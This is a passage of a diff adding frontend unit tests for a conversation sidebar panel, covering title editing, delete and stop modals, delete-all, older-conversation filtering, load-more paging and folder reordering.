+    await user.click(ellipsisButton);
+
+    const editButton = screen.getByTestId("edit-button");
+    await user.click(editButton);
+
+    // Edit the title
+    const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+    await user.clear(titleInput);
+    await user.type(titleInput, "Updated Title");
+
+    // Blur the input to save
+    await user.tab();
+
+    // Verify API call was made with correct parameters
+    expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+      "1",
+      "Updated Title",
+    );
+  });
+
+  it("should save title when Enter key is pressed", async () => {
+    const user = userEvent.setup();
+
+    const updateConversationTitleSpy = vi.spyOn(
+      AgentServerConversationService,
+      "updateConversationTitle",
+    );
+    updateConversationTitleSpy.mockResolvedValue(
+      createMockConversation({ id: "1", title: "Updated Title" }),
+    );
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Enter edit mode
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    const editButton = screen.getByTestId("edit-button");
+    await user.click(editButton);
+
+    // Edit the title and press Enter
+    const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+    await user.clear(titleInput);
+    await user.type(titleInput, "Title Updated via Enter");
+    await user.keyboard("{Enter}");
+
+    // Verify API call was made
+    expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+      "1",
+      "Title Updated via Enter",
+    );
+  });
+
+  it("should trim whitespace from title", async () => {
+    const user = userEvent.setup();
+
+    const updateConversationTitleSpy = vi.spyOn(
+      AgentServerConversationService,
+      "updateConversationTitle",
+    );
+    updateConversationTitleSpy.mockResolvedValue(
+      createMockConversation({ id: "1", title: "Updated Title" }),
+    );
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Enter edit mode
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    const editButton = screen.getByTestId("edit-button");
+    await user.click(editButton);
+
+    // Edit the title with extra whitespace
+    const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+    await user.clear(titleInput);
+    await user.type(titleInput, "   Trimmed Title   ");
+    await user.tab();
+
+    // Verify API call was made with trimmed title
+    expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+      "1",
+      "Trimmed Title",
+    );
+  });
+
+  it("should revert to original title when empty", async () => {
+    const user = userEvent.setup();
+
+    const updateConversationTitleSpy = vi.spyOn(
+      AgentServerConversationService,
+      "updateConversationTitle",
+    );
+    updateConversationTitleSpy.mockResolvedValue(
+      createMockConversation({ id: "1", title: "Updated Title" }),
+    );
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Enter edit mode
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    const editButton = screen.getByTestId("edit-button");
+    await user.click(editButton);
+
+    // Clear the title completely
+    const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+    await user.clear(titleInput);
+    await user.tab();
+
+    // Verify API was not called
+    expect(updateConversationTitleSpy).not.toHaveBeenCalled();
+  });
+
+  it("should handle API error when updating title", async () => {
+    const user = userEvent.setup();
+
+    const updateConversationTitleSpy = vi.spyOn(
+      AgentServerConversationService,
+      "updateConversationTitle",
+    );
+    updateConversationTitleSpy.mockRejectedValue(new Error("API Error"));
+    // Provide return type for mock
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Enter edit mode
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    const editButton = screen.getByTestId("edit-button");
+    await user.click(editButton);
+
+    // Edit the title
+    const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+    await user.clear(titleInput);
+    await user.type(titleInput, "Failed Update");
+    await user.tab();
+
+    // Verify API call was made
+    expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+      "1",
+      "Failed Update",
+    );
+
+    // Wait for error handling
+    await waitFor(() => {
+      expect(updateConversationTitleSpy).toHaveBeenCalled();
+    });
+  });
+
+  it("should close context menu when edit button is clicked", async () => {
+    const user = userEvent.setup();
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Click ellipsis to open context menu
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    // Verify context menu is open (portaled to document.body)
+    const contextMenu = screen.getByTestId("context-menu");
+    expect(contextMenu).toBeInTheDocument();
+
+    // Click edit button within the open context menu
+    const editButton = screen.getByTestId("edit-button");
+    await user.click(editButton);
+
+    // Wait for context menu to close after edit button click.
+    await waitFor(() => {
+      expect(cards[0]).toHaveAttribute("data-context-menu-open", "false");
+    });
+  });
+
+  it("should not call API when title is unchanged", async () => {
+    const user = userEvent.setup();
+
+    const updateConversationTitleSpy = vi.spyOn(
+      AgentServerConversationService,
+      "updateConversationTitle",
+    );
+    updateConversationTitleSpy.mockResolvedValue(
+      createMockConversation({ id: "1", title: "Updated Title" }),
+    );
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Enter edit mode
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    const editButton = screen.getByTestId("edit-button");
+    await user.click(editButton);
+
+    // Don't change the title, just blur
+    await user.tab();
+
+    // Verify API was NOT called with the same title (since handleConversationTitleChange will always be called)
+    expect(updateConversationTitleSpy).not.toHaveBeenCalledWith("1", {
+      title: "Conversation 1",
+    });
+  });
+
+  it("should handle special characters in title", async () => {
+    const user = userEvent.setup();
+
+    const updateConversationTitleSpy = vi.spyOn(
+      AgentServerConversationService,
+      "updateConversationTitle",
+    );
+    updateConversationTitleSpy.mockResolvedValue(
+      createMockConversation({ id: "1", title: "Updated Title" }),
+    );
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Enter edit mode
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    const editButton = screen.getByTestId("edit-button");
+    await user.click(editButton);
+
+    // Edit the title with special characters
+    const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+    await user.clear(titleInput);
+    await user.type(titleInput, "Special @#$%^&*()_+ Characters");
+    await user.tab();
+
+    // Verify API call was made with special characters
+    expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+      "1",
+      "Special @#$%^&*()_+ Characters",
+    );
+  });
+
+  it("should close delete modal when clicking backdrop", async () => {
+    const user = userEvent.setup();
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Open context menu and click delete
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+    const deleteButton = screen.getByTestId("delete-button");
+    await user.click(deleteButton);
+
+    // Modal should be visible
+    expect(
+      screen.getByRole("button", { name: /confirm/i }),
+    ).toBeInTheDocument();
+
+    // Click the backdrop (the dark overlay behind the modal)
+    const backdrop = document.querySelector(".bg-black.opacity-60");
+    expect(backdrop).toBeInTheDocument();
+    await user.click(backdrop!);
+
+    // Modal should be closed
+    expect(
+      screen.queryByRole("button", { name: /confirm/i }),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should close stop modal when clicking backdrop", async () => {
+    const user = userEvent.setup();
+
+    // Create mock data with a RUNNING conversation
+    const mockRunningConversations: AppConversation[] = [
+      createMockConversation({
+        id: "1",
+        title: "Running Conversation",
+        execution_status: ExecutionStatus.RUNNING,
+      }),
+      createMockConversation({
+        id: "2",
+        title: "Starting Conversation",
+        execution_status: ExecutionStatus.RUNNING,
+      }),
+      createMockConversation({
+        id: "3",
+        title: "Stopped Conversation",
+        execution_status: ExecutionStatus.PAUSED,
+      }),
+    ];
+
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: mockRunningConversations,
+      next_page_id: null,
+    });
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Open context menu and click stop
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+    const stopButton = screen.getByTestId("stop-button");
+    await user.click(stopButton);
+
+    // Modal should be visible
+    expect(
+      screen.getByRole("button", { name: /confirm/i }),
+    ).toBeInTheDocument();
+
+    // Click the backdrop
+    const backdrop = document.querySelector(".bg-black.opacity-60");
+    expect(backdrop).toBeInTheDocument();
+    await user.click(backdrop!);
+
+    // Modal should be closed
+    expect(
+      screen.queryByRole("button", { name: /confirm/i }),
+    ).not.toBeInTheDocument();
+  });
+
+  describe("older conversations cutoff", () => {
+    const recentIso = () => new Date().toISOString();
+    const olderIso = () =>
+      new Date(Date.now() - 8 * 24 * 60 * 60 * 1000).toISOString();
+
+    it("shows conversations older than 1 week and includes a summary line", async () => {
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "recent",
+            title: "Recent",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "old1",
+            title: "Old 1",
+            updated_at: olderIso(),
+          }),
+          createMockConversation({
+            id: "old2",
+            title: "Old 2",
+            updated_at: olderIso(),
+          }),
+        ],
+        next_page_id: null,
+      });
+
+      renderConversationPanel();
+
+      const cards = await screen.findAllByTestId("conversation-card");
+      expect(cards).toHaveLength(3);
+      expect(screen.getByText("Recent")).toBeInTheDocument();
+      expect(screen.getByText("Old 1")).toBeInTheDocument();
+      expect(screen.getByText("Old 2")).toBeInTheDocument();
+
+      const summary = screen.getByTestId("older-conversations-summary");
+      expect(summary).toHaveTextContent("SIDEBAR$CONVERSATIONS");
+      expect(
+        within(summary).getByTestId("conversation-layouts-toggle"),
+      ).toBeInTheDocument();
+    });
+
+    it("always renders the conversations header with the filter control", async () => {
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "recent1",
+            title: "Recent 1",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "recent2",
+            title: "Recent 2",
+            updated_at: recentIso(),
+          }),
+        ],
+        next_page_id: null,
+      });
+
+      renderConversationPanel();
+
+      await screen.findAllByTestId("conversation-card");
+      const summary = screen.getByTestId("older-conversations-summary");
+      expect(summary).toBeInTheDocument();
+      expect(
+        within(summary).getByTestId("conversation-layouts-toggle"),
+      ).toBeInTheDocument();
+    });
+
+    it("shows icons on hide and delete-all filter menu actions", async () => {
+      const user = userEvent.setup();
+      renderConversationPanel();
+
+      // Delete all lives in the layouts menu itself.
+      await user.click(screen.getByTestId("conversation-layouts-toggle"));
+      const deleteAllRow = screen.getByTestId("delete-all-conversations");
+      expect(deleteAllRow.querySelector("svg")).toBeInTheDocument();
+      expect(deleteAllRow).toHaveClass("text-danger");
+      expect(deleteAllRow).not.toHaveClass("text-[var(--oh-foreground)]");
+
+      // The older-conversations toggle lives in the Advanced options modal.
+      await user.click(screen.getByTestId("advanced-options-row"));
+      const hideRow = await screen.findByTestId("toggle-older-conversations");
+      expect(hideRow.querySelector("svg")).toBeInTheDocument();
+      expect(hideRow).toHaveClass("group");
+    });
+
+    it("toggles older conversations visibility via the filter dropdown", async () => {
+      const user = userEvent.setup();
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "recent",
+            title: "Recent",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "old1",
+            title: "Old 1",
+            updated_at: olderIso(),
+          }),
+        ],
+        next_page_id: null,
+      });
+
+      renderConversationPanel();
+
+      let cards = await screen.findAllByTestId("conversation-card");
+      expect(cards).toHaveLength(2);
+
+      await openAdvancedOptions(user);
+      let toggle = await screen.findByTestId("toggle-older-conversations");
+      expect(toggle).toHaveAttribute("aria-checked", "false");
+      await user.click(toggle);
+
+      cards = await screen.findAllByTestId("conversation-card");
+      expect(cards).toHaveLength(1);
+
+      toggle = await screen.findByTestId("toggle-older-conversations");
+      expect(toggle).toHaveAttribute("aria-checked", "true");
+      await user.click(toggle);
+      cards = await screen.findAllByTestId("conversation-card");
+      expect(cards).toHaveLength(2);
+    });
+
+    it("keeps repo/branch metadata hidden by default and toggles it from the filter dropdown", async () => {
+      const user = userEvent.setup();
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "recent",
+            title: "Recent",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "old-with-repo",
+            title: "Old With Repo",
+            updated_at: olderIso(),
+            selected_repository: "openhands/agent-canvas",
+            selected_branch: "main",
+            git_provider: "github",
+          }),
+        ],
+        next_page_id: null,
+      });
+
+      renderConversationPanel();
+      await screen.findByText("Old With Repo");
+
+      expect(
+        screen.queryByTestId("conversation-card-selected-repository"),
+      ).not.toBeInTheDocument();
+      expect(
+        screen.queryByTestId("conversation-card-selected-branch"),
+      ).not.toBeInTheDocument();
+
+      await openAdvancedOptions(user);
+      await user.click(screen.getByTestId("toggle-repo-branch-metadata"));
+
+      expect(
+        await screen.findByTestId("conversation-card-selected-repository"),
+      ).toHaveTextContent("openhands/agent-canvas");
+      expect(
+        await screen.findByTestId("conversation-card-selected-branch"),
+      ).toHaveTextContent("main");
+    });
+
+    it("delete-all is enabled when no conversations are older than the cutoff and deletes every loaded conversation", async () => {
+      const user = userEvent.setup();
+      const deleteSpy = vi
+        .spyOn(AgentServerConversationService, "deleteConversation")
+        .mockResolvedValue();
+
+      // Fixture: only recent conversations (none older than 1h). Before the
+      // fix the "Delete all" button was disabled in this state.
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "recent-1",
+            title: "Recent 1",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "recent-2",
+            title: "Recent 2",
+            updated_at: recentIso(),
+          }),
+        ],
+        next_page_id: null,
+      });
+
+      renderConversationPanel();
+      await screen.findAllByTestId("conversation-card");
+
+      await user.click(screen.getByTestId("conversation-layouts-toggle"));
+      const deleteAllButton = await screen.findByTestId(
+        "delete-all-conversations",
+      );
+      expect(deleteAllButton).toBeEnabled();
+
+      await user.click(deleteAllButton);
+      await user.click(await screen.findByRole("button", { name: /confirm/i }));
+
+      await waitFor(() => {
+        expect(deleteSpy).toHaveBeenCalledTimes(2);
+      });
+      expect(deleteSpy).toHaveBeenCalledWith("recent-1");
+      expect(deleteSpy).toHaveBeenCalledWith("recent-2");
+    });
+
+    it("delete-all still deletes hidden archived conversations", async () => {
+      // "Show archived" only controls rendering. Delete all must keep using
+      // the full loaded collection so archived server-side conversations are
+      // not silently left behind (or the action disabled when every loaded
+      // row is archived).
+      const user = userEvent.setup();
+      const deleteSpy = vi
+        .spyOn(AgentServerConversationService, "deleteConversation")
+        .mockResolvedValue();
+
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "visible-1",
+            title: "Visible 1",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "archived-1",
+            title: "Archived 1",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "archived-2",
+            title: "Archived 2",
+            updated_at: recentIso(),
+          }),
+        ],
+        next_page_id: null,
+      });
+
+      useArchivedConversationsStore.setState({
+        archivesByBackendId: {
+          "default-local": ["archived-1", "archived-2"],
+        },
+      });
+      useConversationPanelPreferencesStore.setState({
+        showArchivedConversations: false,
+      });
+
+      renderConversationPanel();
+      const cards = await screen.findAllByTestId("conversation-card");
+      expect(cards).toHaveLength(1);
+      expect(screen.getByText("Visible 1")).toBeInTheDocument();
+      expect(screen.queryByText("Archived 1")).not.toBeInTheDocument();
+
+      await user.click(screen.getByTestId("conversation-layouts-toggle"));
+      const deleteAllButton = await screen.findByTestId(
+        "delete-all-conversations",
+      );
+      expect(deleteAllButton).toBeEnabled();
+
+      await user.click(deleteAllButton);
+      expect(
+        await screen.findByText(/CONVERSATION\$CONFIRM_DELETE_ALL_DESC/),
+      ).toBeInTheDocument();
+      await user.click(await screen.findByRole("button", { name: /confirm/i }));
+
+      await waitFor(() => {
+        expect(deleteSpy).toHaveBeenCalledTimes(3);
+      });
+      expect(deleteSpy).toHaveBeenCalledWith("visible-1");
+      expect(deleteSpy).toHaveBeenCalledWith("archived-1");
+      expect(deleteSpy).toHaveBeenCalledWith("archived-2");
+    });
+
+    it("navigates away after the active conversation is deleted successfully even when another deletion fails", async () => {
+      const user = userEvent.setup();
+      const navigate = vi.fn();
+      const deleteSpy = vi
+        .spyOn(AgentServerConversationService, "deleteConversation")
+        .mockImplementation(async (conversationId: string) => {
+          if (conversationId === "old2") {
+            throw new Error("delete failed");
+          }
+        });
+
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "recent",
+            title: "Recent",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "old1",
+            title: "Old 1",
+            updated_at: olderIso(),
+          }),
+          createMockConversation({
+            id: "old2",
+            title: "Old 2",
+            updated_at: olderIso(),
+          }),
+        ],
+        next_page_id: null,
+      });
+
+      // Active conversation is "old1" — it is among the conversations that
+      // get deleted successfully, so we should navigate away.
+      renderConversationPanel({
+        navigation: { conversationId: "old1", navigate },
+      });
+      await screen.findAllByTestId("conversation-card");
+
+      await user.click(screen.getByTestId("conversation-layouts-toggle"));
+      await user.click(screen.getByTestId("delete-all-conversations"));
+      await user.click(await screen.findByRole("button", { name: /confirm/i }));
+
+      await waitFor(() => {
+        expect(deleteSpy).toHaveBeenCalledTimes(3);
+      });
+      expect(displayErrorToast).toHaveBeenCalledWith(
+        "1 conversation could not be deleted.",
+      );
+      expect(navigate).toHaveBeenCalledWith("/conversations");
+    });
+
+    it("does not navigate away when the active conversation fails to delete", async () => {
+      const user = userEvent.setup();
+      const navigate = vi.fn();
+      const deleteSpy = vi
+        .spyOn(AgentServerConversationService, "deleteConversation")
+        .mockImplementation(async (conversationId: string) => {
+          if (conversationId === "old1") {
+            throw new Error("delete failed");
+          }
+        });
+
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "recent",
+            title: "Recent",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "old1",
+            title: "Old 1",
+            updated_at: olderIso(),
+          }),
+          createMockConversation({
+            id: "old2",
+            title: "Old 2",
+            updated_at: olderIso(),
+          }),
+        ],
+        next_page_id: null,
+      });
+
+      // Active conversation is "old1" — its deletion fails, so we must
+      // not navigate away from it.
+      renderConversationPanel({
+        navigation: { conversationId: "old1", navigate },
+      });
+      await screen.findAllByTestId("conversation-card");
+
+      await user.click(screen.getByTestId("conversation-layouts-toggle"));
+      await user.click(screen.getByTestId("delete-all-conversations"));
+      await user.click(await screen.findByRole("button", { name: /confirm/i }));
+
+      await waitFor(() => {
+        expect(deleteSpy).toHaveBeenCalledTimes(3);
+      });
+      expect(displayErrorToast).toHaveBeenCalledWith(
+        "1 conversation could not be deleted.",
+      );
+      expect(navigate).not.toHaveBeenCalled();
+    });
+  });
+
+  describe("active conversation highlight", () => {
+    it("marks the currently active conversation with data-active=true", async () => {
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({ id: "1", title: "Conversation 1" }),
+          createMockConversation({ id: "2", title: "Conversation 2" }),
+          createMockConversation({ id: "3", title: "Conversation 3" }),
+        ],
+        next_page_id: null,
+      });
+
+      renderWithProviders(<RouterStub />, {
+        navigation: { conversationId: "2", currentPath: "/conversations/2" },
+      });
+
+      const cards = await screen.findAllByTestId("conversation-card");
+      expect(cards).toHaveLength(3);
+      expect(cards[0]).toHaveAttribute("data-active", "false");
+      expect(cards[1]).toHaveAttribute("data-active", "true");
+      expect(cards[2]).toHaveAttribute("data-active", "false");
+    });
+
+    it("renders no active card when no conversation is selected", async () => {
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [createMockConversation({ id: "1", title: "Conversation 1" })],
+        next_page_id: null,
+      });
+
+      renderWithProviders(<RouterStub />, {
+        navigation: { conversationId: null, currentPath: "/" },
+      });
+
+      const cards = await screen.findAllByTestId("conversation-card");
+      expect(cards[0]).toHaveAttribute("data-active", "false");
+    });
+  });
+
+  describe("load-more link", () => {
+    const recentIso = () => new Date().toISOString();
+    const olderIso = () =>
+      new Date(Date.now() - 8 * 24 * 60 * 60 * 1000).toISOString();
+
+    it("shows a load-more link when there is a next page and no older conversations are hidden", async () => {
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "recent",
+            title: "Recent",
+            updated_at: recentIso(),
+          }),
+        ],
+        next_page_id: "page-2",
+      });
+
+      renderConversationPanel();
+
+      await screen.findAllByTestId("conversation-card");
+      const loadMore = await screen.findByTestId("load-more-conversations");
+      expect(loadMore).toHaveTextContent("CONVERSATION$LOAD_MORE");
+    });
+
+    it("hides the load-more link after older conversations are hidden from the filter dropdown", async () => {
+      vi.spyOn(
+        AgentServerConversationService,
+        "searchConversations",
+      ).mockResolvedValue({
+        items: [
+          createMockConversation({
+            id: "recent",
+            title: "Recent",
+            updated_at: recentIso(),
+          }),
+          createMockConversation({
+            id: "old1",
+            title: "Old 1",
+            updated_at: olderIso(),
+          }),
+        ],
+        next_page_id: "page-2",
+      });
+
+      renderConversationPanel();
+
+      await screen.findAllByTestId("conversation-card");
+      // Older conversations are visible by default, so load-more is visible.
+      expect(screen.getByTestId("load-more-conversations")).toBeInTheDocument();
+
+      // Hide older conversations via the filter dropdown.
+      const user = userEvent.setup();
+      await openAdvancedOptions(user);
+      await user.click(screen.getByTestId("toggle-older-conversations"));
+
+      // Older conversations are hidden → no load-more.
+      expect(
+        screen.queryByTestId("load-more-conversations"),
+      ).not.toBeInTheDocument();
+
+      // After showing older conversations again, the link reappears.
+      await openAdvancedOptions(user);
+      await user.click(screen.getByTestId("toggle-older-conversations"));
+      expect(
+        await screen.findByTestId("load-more-conversations"),
+      ).toBeInTheDocument();
+    });
+
+    it("fetches the next page when the load-more link is clicked", async () => {
+      const user = userEvent.setup();
+      const searchSpy = vi
+        .spyOn(AgentServerConversationService, "searchConversations")
+        .mockResolvedValueOnce({
+          items: [
+            createMockConversation({
+              id: "recent",
+              title: "Recent",
+              updated_at: recentIso(),
+            }),
+          ],
+          next_page_id: "page-2",
+        })
+        .mockResolvedValueOnce({
+          items: [
+            createMockConversation({
+              id: "page2-1",
+              title: "Page 2 Conversation",
+              updated_at: recentIso(),
+            }),
+          ],
+          next_page_id: null,
+        });
+
+      renderConversationPanel();
+
+      const loadMore = await screen.findByTestId("load-more-conversations");
+      await user.click(loadMore);
+
+      await waitFor(() => {
+        expect(searchSpy).toHaveBeenCalledTimes(2);
+      });
+
+      // After the second page resolves, the link disappears (no more pages).
+      await waitFor(() => {
+        expect(
+          screen.queryByTestId("load-more-conversations"),
+        ).not.toBeInTheDocument();
+      });
+    });
+
+    it("keeps collapsed folder previews stable while still exposing later-page conversations on expand", async () => {
+      useConversationPanelPreferencesStore.setState({
+        organizeMode: "grouped",
+      });
+      const noWorkspaceConversations = Array.from({ length: 6 }, (_, index) =>
+        createMockConversation({
+          id: `no-workspace-${index + 1}`,
+          title: `No workspace ${index + 1}`,
+        }),
+      );
+      const searchSpy = vi
+        .spyOn(AgentServerConversationService, "searchConversations")
+        .mockResolvedValueOnce({
+          items: noWorkspaceConversations,
+          next_page_id: "page-2",
+        })
+        .mockResolvedValueOnce({
+          items: [
+            createMockConversation({
+              id: "no-workspace-7",
+              title: "No workspace 7",
+            }),
+            createMockConversation({
+              id: "no-workspace-8",
+              title: "No workspace 8",
+            }),
+          ],
+          next_page_id: "page-3",
+        })
+        .mockResolvedValueOnce({
+          items: [
+            createMockConversation({
+              id: "alpha",
+              title: "Alpha conversation",
+              selected_workspace: "/workspace/alpha",
+            }),
+          ],
+          next_page_id: null,
+        });
+
+      const user = userEvent.setup();
+      renderConversationPanel();
+
+      const noWorkspaceFolder = await screen.findByTestId(
+        "thread-folder-__none_workspace",
+      );
+      expect(
+        within(noWorkspaceFolder).getAllByTestId("conversation-card"),
+      ).toHaveLength(5);
+      expect(
+        within(noWorkspaceFolder).queryByText("No workspace 7"),
+      ).not.toBeInTheDocument();
+
+      // A single click walks past the deepen-only page 2 (its rows are hidden
+      // from the collapsed preview, so they are not success) and keeps paging
+      // until the brand-new folder on page 3 is discovered.
+      await user.click(screen.getByTestId("load-more-conversations"));
+      await screen.findByTestId("thread-folder-ws--workspace-alpha");
+      expect(searchSpy).toHaveBeenCalledTimes(3);
+      expect(
+        within(noWorkspaceFolder).getAllByTestId("conversation-card"),
+      ).toHaveLength(5);
+      expect(
+        within(noWorkspaceFolder).queryByText("No workspace 7"),
+      ).not.toBeInTheDocument();
+
+      // Collapsed preview stays frozen; expanding reveals every loaded row.
+      expect(
+        within(noWorkspaceFolder).getAllByTestId("conversation-card"),
+      ).toHaveLength(5);
+      await user.click(
+        within(noWorkspaceFolder).getByTestId(
+          "thread-folder-view-more-__none_workspace",
+        ),
+      );
+      expect(
+        within(noWorkspaceFolder).getAllByTestId("conversation-card"),
+      ).toHaveLength(8);
+      expect(
+        within(noWorkspaceFolder).getByText("No workspace 7"),
+      ).toBeInTheDocument();
+      expect(
+        within(noWorkspaceFolder).getByText("No workspace 8"),
+      ).toBeInTheDocument();
+    });
+
+    it("caps a grouped load-more click at three pages when no new folder appears", async () => {
+      useConversationPanelPreferencesStore.setState({
+        organizeMode: "grouped",
+      });
+      const deepenOnlyPage = (page: number, nextPageId: string) => ({
+        items: Array.from({ length: 2 }, (_, index) =>
+          createMockConversation({
+            id: `no-workspace-p${page}-${index + 1}`,
+            title: `No workspace p${page}-${index + 1}`,
+          }),
+        ),
+        next_page_id: nextPageId,
+      });
+      // Exactly four pages are queued: the drive must consume the initial page
+      // plus MAX_PAGES_PER_LOAD_MORE_CLICK more and stop — a fetch beyond the
+      // cap would find no queued response and fail the test loudly.
+      const searchSpy = vi
+        .spyOn(AgentServerConversationService, "searchConversations")
+        .mockResolvedValueOnce(deepenOnlyPage(1, "page-2"))
+        .mockResolvedValueOnce(deepenOnlyPage(2, "page-3"))
+        .mockResolvedValueOnce(deepenOnlyPage(3, "page-4"))
+        .mockResolvedValueOnce(deepenOnlyPage(4, "page-5"));
+
+      const user = userEvent.setup();
+      renderConversationPanel();
+
+      await screen.findByTestId("thread-folder-__none_workspace");
+      expect(searchSpy).toHaveBeenCalledTimes(1);
+
+      // Every remaining page only deepens the existing folder, so the driver
+      // must stop at the per-click page cap instead of draining the cursor.
+      await user.click(screen.getByTestId("load-more-conversations"));
+      await waitFor(() => {
+        expect(searchSpy).toHaveBeenCalledTimes(4);
+      });
+      // The drive has ended: the control is idle again and no further page
+      // was requested beyond the cap.
+      await waitFor(() => {
+        expect(
+          screen.getByTestId("load-more-conversations"),
+        ).toBeInTheDocument();
+      });
+      expect(searchSpy).toHaveBeenCalledTimes(4);
+    });
+
+    it("force-includes the active conversation in a folder preview even when it arrived on a later page", async () => {
+      useConversationPanelPreferencesStore.setState({
+        organizeMode: "grouped",
+      });
+      vi.spyOn(AgentServerConversationService, "searchConversations")
+        .mockResolvedValueOnce({
+          items: Array.from({ length: 5 }, (_, index) =>
+            createMockConversation({
+              id: `alpha-${index + 1}`,
+              title: `Alpha ${index + 1}`,
+              selected_workspace: "/workspace/alpha",
+            }),
+          ),
+          next_page_id: "page-2",
+        })
+        .mockResolvedValueOnce({
+          items: [
+            createMockConversation({
+              id: "alpha-active",
+              title: "Alpha Active",
+              selected_workspace: "/workspace/alpha",
+            }),
+          ],
+          next_page_id: null,
+        });
+
+      const user = userEvent.setup();
+      renderConversationPanel({
+        navigation: {
+          conversationId: "alpha-active",
+          currentPath: "/conversations/alpha-active",
+        },
+      });
+
+      const alphaFolder = await screen.findByTestId(
+        "thread-folder-ws--workspace-alpha",
+      );
+      expect(
+        within(alphaFolder).queryByText("Alpha Active"),
+      ).not.toBeInTheDocument();
+
+      await user.click(screen.getByTestId("load-more-conversations"));
+
+      await waitFor(() => {
+        expect(
+          within(
+            screen.getByTestId("thread-folder-ws--workspace-alpha"),
+          ).getByText("Alpha Active"),
+        ).toBeInTheDocument();
+      });
+      // Still a collapsed preview (limit 5), not the full expanded list.
+      expect(
+        within(
+          screen.getByTestId("thread-folder-ws--workspace-alpha"),
+        ).getAllByTestId("conversation-card"),
+      ).toHaveLength(5);
+    });
+  });
+
+  it("reorders grouped folders via drag and drop", async () => {
+    useConversationPanelPreferencesStore.setState({
+      organizeMode: "grouped",
+      groupFolderOrder: [],
+    });
+
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [
+        createMockConversation({
+          id: "alpha-chat",
+          title: "Alpha Chat",
+          selected_workspace: "/workspace/alpha",
+        }),
+        createMockConversation({
+          id: "beta-chat",
+          title: "Beta Chat",
+          selected_workspace: "/workspace/beta",
+        }),
+      ],
+      next_page_id: null,
+    });
+
+    renderConversationPanel();
+
+    const alphaFolder = await screen.findByTestId(
+      "thread-folder-ws--workspace-alpha",
+    );
+    const betaFolder = screen.getByTestId("thread-folder-ws--workspace-beta");
+    expect(alphaFolder.compareDocumentPosition(betaFolder)).toBe(
+      Node.DOCUMENT_POSITION_FOLLOWING,
+    );
+
+    const dragHandle = screen.getByTestId(
+      "thread-folder-drag-ws--workspace-alpha",
+    );
+    const dataTransfer = {
